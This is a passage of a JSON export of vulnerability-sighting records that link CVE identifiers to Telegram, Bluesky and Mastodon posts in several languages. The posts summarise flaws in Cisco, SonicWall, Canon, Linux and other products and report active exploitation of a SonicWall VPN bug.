\u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 REST API. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u044b API.\n\n\ud83d\udee1CVE-2024-20397 (CVSS 5.2) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0435 \u041f\u041e Cisco NX-OS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0443.\n\n\ud83d\udee1CVE-2025-22146 (CVSS 9.1) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 SAML SSO \u0432 Sentry. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u043e\u0447\u0442\u044b \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0439 SAML.\n\n\ud83d\udee1CVE-2025-23083 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 diagnostics_channel Node.js, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:09.402872Z"}, {"uuid": "0f439587-bc70-491e-bf3b-654f2ba47c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1247", "type": "published-proof-of-concept", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-31T00:00:45.779257Z"}, {"uuid": "dbe8ce3c-0252-41b8-9ed7-1de101176d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12802", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mmfejdsqzr2p", "content": "\ud83d\udce2 CVE-2024-12802 : exploitation active de SonicWall SSL VPN malgr\u00e9 le patch firmware\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 19 mai 2026 par ReliaQuest Threat Research (a\u2026\nhttps://cyberveille.ch/posts/2026-05-21-cve-2024-12802-exploitation-active-de-sonicwall-ssl-vpn-malgre-le-patch-firmware/ #Akira #Cyberveille", "creation_timestamp": "2026-05-21T21:32:22.978646Z"}, {"uuid": "bb1b981d-e4d9-42f2-9d0e-37792594e519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-21)", "content": "", "creation_timestamp": "2026-05-21T00:00:00.000000Z"}, {"uuid": "5a9bb3a6-882f-4336-98ef-9a899361cf77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "\u041f\u043e\u0441\u043c\u0435\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 DeepSeek \u0438 \u0445\u0432\u0430\u0442\u0438\u0442. \u041f\u043e\u0440\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c \u0438 \u0440\u0430\u0431\u043e\u0442\u0435, \u0434\u0430, @Pr0xProw?\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\ud83d\udd35CVE-2024-48841, CVE-2024-48849, and CVE-2024-48852 \u2014 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 FLXeon, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0435, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2024\u201354887 \u2014 \u043e\u0431\u0437\u043e\u0440 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 \u0422\u0420-Link \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b dnsserver1 \u0438 dnsserver2 \u0432 \u0444\u0430\u0439\u043b\u0435 /userRpm/Wan6to4TunnelCfgRpm.htm. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2024-53704 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SonicOS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SSLVPN \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438.\n\n\ud83d\udd35CVE-2025-23006 \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443 SonicWall, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u043b\u044e\u0437\u044b Secure Mobile Access (SMA) 1000 \u0438 Central Management Console (CMC). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443.\n\n\ud83d\udd35CVE-2025-22604 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cacti, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 ss_net_snmp_disk_io() \u0438\u043b\u0438 ss_net_snmp_disk_bytes() \u0432 SNMP. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE-\u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 SNMP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 OID.\n\n\ud83d\udd35CVE-2024-12647, CVE-2024-12648 \u0438 CVE-2024-12649 \u2014 \u0432\u0441\u0435 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Canon \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043d\u0430 CVSS 9,8. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445: \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CPCA, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0442\u0435\u0433\u043e\u0432 EXIF \u0432 TIFF \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 XPS.\n\n\ud83d\udd35CVE-2024-56614 \u0438 CVE-2024-56615 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eBPF. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35CVE-2024-49138 \u2014 \u0447\u0430\u0441\u0442\u044c 1 \u0438 \u0447\u0430\u0441\u0442\u044c 2. \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 Windows CLFS.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:10.207258Z"}, {"uuid": "76fd2acf-dd24-473e-b82c-7e35ff5b3cee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-896a-1032-57cb-57c549377543", "content": "\u201cPatchato\u201d non significa protetto: attaccanti bypassano l\u2019MFA sui VPN SonicWall Gen6 e raggiungono i file server in 30 minuti\n@informaticaCVE-2024-12802 sulle appliance SonicWall Gen6 SSL-VPN viene sfruttata attivamente nonostante la patch disponibile. Il motivo: il fix firmware non basta \u2014 richiede seiRE: insicurezzadigitale.com/?p=957\u2026", "creation_timestamp": "2026-05-22T10:40:01.122561Z"}, {"uuid": "652d21d2-89a0-4168-b858-3368ef480e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mmgqnd2vlv62", "content": "# **\u201cPatchato\u201d non significa protetto: attaccanti bypassano l\u2019MFA sui VPN SonicWall Gen6 e raggiungono i file server in 30 minuti**\n\n\n@informatica\nCVE-2024-12802 sulle appliance SonicWall Gen6 SSL-VPN viene sfruttata attivamente nonostante la patch disponibile. Il motivo: il fix firmware non [\u2026]", "creation_timestamp": "2026-05-22T10:40:02.317047Z"}, {"uuid": "6257f441-baf8-4317-a257-168583b950fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116617971811232706", "content": "SonicWall warned in a security advisory for CVE-2024-12802 that installing the firmware update alone on Gen6 devices does not fully mitigate the vulnerability, and a manual reconfiguration of the LDAP server is required. https://www.bleepingcomputer.com/news/security/hackers-bypass-sonicwall-vpn-mfa-due-to-incomplete-patching/", "creation_timestamp": "2026-05-22T11:23:53.314613Z"}, {"uuid": "aef5dbbf-df85-4d0d-afd9-622fd3ee2294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mmgt426wtc27", "content": "SonicWall warned in a security advisory for CVE-2024-12802 that installing the firmware update alone on Gen6 devices does not fully mitigate the vulnerability, and a manual reconfiguration of the LDAP server is required. www.bleepingcomputer.com/news/securit...", "creation_timestamp": "2026-05-22T11:24:14.770509Z"}, {"uuid": "b35d8d60-00e8-415d-ab9f-200c45edde1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/purp_sec/212", "content": "\u041f\u043e\u0441\u043c\u0435\u044f\u043b\u0438\u0441\u044c \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 DeepSeek \u0438 \u0445\u0432\u0430\u0442\u0438\u0442. \u041f\u043e\u0440\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0432\u0435\u0449\u0430\u043c \u0438 \u0440\u0430\u0431\u043e\u0442\u0435, \u0434\u0430, @Pr0xProw?\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\ud83d\udd35CVE-2024-48841, CVE-2024-48849, and CVE-2024-48852 \u2014 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 FLXeon, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0435, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2024\u201354887 \u2014 \u043e\u0431\u0437\u043e\u0440 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0435 \u0422\u0420-Link \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b dnsserver1 \u0438 dnsserver2 \u0432 \u0444\u0430\u0439\u043b\u0435 /userRpm/Wan6to4TunnelCfgRpm.htm. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2024-53704 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SonicOS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SSLVPN \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438.\n\n\ud83d\udd35CVE-2025-23006 \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443 SonicWall, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u043b\u044e\u0437\u044b Secure Mobile Access (SMA) 1000 \u0438 Central Management Console (CMC). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443.\n\n\ud83d\udd35CVE-2025-22604 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cacti, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 ss_net_snmp_disk_io() \u0438\u043b\u0438 ss_net_snmp_disk_bytes() \u0432 SNMP. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE-\u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 SNMP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 OID.\n\n\ud83d\udd35CVE-2024-12647, CVE-2024-12648 \u0438 CVE-2024-12649 \u2014 \u0432\u0441\u0435 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Canon \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043d\u0430 CVSS 9,8. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445: \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CPCA, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0442\u0435\u0433\u043e\u0432 EXIF \u0432 TIFF \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 XPS.\n\n\ud83d\udd35CVE-2024-56614 \u0438 CVE-2024-56615 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eBPF. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35CVE-2024-49138 \u2014 \u0447\u0430\u0441\u0442\u044c 1 \u0438 \u0447\u0430\u0441\u0442\u044c 2. \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 